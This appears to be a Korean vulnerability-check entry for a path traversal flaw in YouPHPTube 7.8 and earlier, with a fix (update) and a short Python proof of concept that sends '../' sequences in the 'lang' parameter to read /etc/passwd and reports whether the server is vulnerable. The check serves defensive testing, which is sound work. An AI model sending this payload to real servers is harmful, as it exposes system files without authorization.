YouPHPTube 7.8 이하 버전
GET 요청의 'lang' 파라미터 조작
YouPHPTube를 최신 버전으로 업데이트하세요.
로컬 YouPHPTube 설치 환경에서 테스트하세요. Python과 requests 라이브러리가 필요합니다. YouPHPTube의 URL과 로컬 파일 시스템의 경로를 수정하여 테스트하세요.
import requests
url = 'http://localhost/youphptube/locale/function.php'
params = {'lang': '../../../../../../../../etc/passwd'}
response = requests.get(url, params=params)
if 'root:' in response.text:
print({"result": "취약", "reason": "패스워드 파일 내용이 노출됨"})
else:
print({"result": "양호", "reason": "패스워드 파일 내용이 노출되지 않음"})
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N